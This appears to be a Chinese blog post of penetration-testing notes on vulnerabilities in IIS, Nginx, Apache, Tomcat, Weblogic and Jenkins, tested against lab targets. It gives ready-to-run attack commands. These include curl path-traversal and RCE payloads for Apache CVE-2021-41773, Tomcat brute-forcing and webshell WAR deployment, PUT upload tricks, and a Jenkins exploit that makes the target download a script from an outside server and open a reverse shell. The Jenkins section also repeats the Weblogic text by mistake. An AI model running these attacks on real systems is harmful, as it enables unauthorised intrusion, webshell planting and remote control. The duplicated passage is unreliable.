中间件安全

IIS

IIS短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析漏洞

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

    如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

Nginx

DNS解析漏洞(cve-2021-23017)

受影响版本:0.6.18-1.20.0

**poc地址:**https://github.com/M507/CVE-2021-23017-PoC

复现失败

文件名逻辑漏洞(cve-2013-4547)

受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7

\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。

测试

测试

成功

解析漏洞(配置不当)

我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。

假如下图是上传了包含<?phpinfo();?>的图片

在后面添加/.php后缀,就会被解析为php

Apache

目录穿越&命令执行(cve-2021-41773)

版本影响:2.4.49、2.4.50

可见靶场的apache版本满足漏洞版本

目录穿越

curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

RCE

curl --data "echo;id" http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

文件解析(cve-2017-15715)

版本影响:2.4.0-2.4.29

上传成功

Tomcat

弱口令getshell

影响版本:全版本

弱口令部署war包getshell

点击【manager app】弹出后台登录框

抓包爆破

标记加密的位置

选择自定义迭代器

位置一填用户名

位置二填:

位置三填密码

payload处理选择base64加密

爆破成功

用户名:tomcat 密码:qwe123

登录成功

生成jsp一句话木马

将jsp木马zip压缩后更改后缀为war 生成war包

部署war包

链接成功

文件上传(cve-2017-12615)

影响版本:7.0.0-7.0.81

使用PUT方法请求 将木马放入数据内,即可上传

三种构造url方式:

PUT /x.jsp/

PUT /x.jsp%20

PUT /x.jsp::$DATA

前两种针对linux 第三种针对windows

返回201即是上传成功

文件包含(cve-2020-1938)

影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml文件

Weblogic

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

Jenkins

默认端口:8080

Jenkins-CI远程代码执行(cve-2017-1000353)

影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

再使用python的exp执行

shell反弹成功

远程命令执行(cve-2018-1000861)

影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3

工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019

先将反弹shell的命令放在自己公网服务器上

python2 exp.py http://123.58.224.8:31731 "curl -o /tmp/1.sh http://117.72.120.22/qdy.txt"

可以看见qdy.txt文件被目标服务器请求了

执行反弹shell命令

成功接收shell

相关推荐
汇智信科18 分钟前
训练安全管理系统:赋能军消装备训练,实现全流程智能化管控
安全·训练安全管理·装备训练智能化·军事训练保障·消防训练管理
汤愈韬32 分钟前
三种常用 NAT 的经典案例
网络协议·网络安全·security
汤愈韬1 小时前
NAT Server 与目的Nat
网络·网络协议·网络安全·security
其实防守也摸鱼3 小时前
CTF密码学综合教学指南--第三章
开发语言·网络·python·安全·网络安全·密码学
其实防守也摸鱼3 小时前
CTF密码学综合教学指南--第四章
网络·笔记·安全·网络安全·密码学·ctf
DevilSeagull3 小时前
电脑上安装的服务会自动消失? 推荐项目: localhostSCmanager. 更好管理你的服务!
测试工具·安全·react·vite·localhost·hono·trpc
@insist1234 小时前
信息安全-防火墙技术演进全景:从代理NAT 到下一代及专项防火墙
网络·安全·web安全·软考·信息安全工程师·软件水平考试
不会编程的懒洋洋6 小时前
C# P/Invoke 基础
开发语言·c++·笔记·安全·机器学习·c#·p/invoke
时空系7 小时前
第10篇:归属权与借用——Rust的安全保障 Rust中文编程
开发语言·安全·rust
Chockmans8 小时前
春秋云境CVE-2017-3506
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2017-3506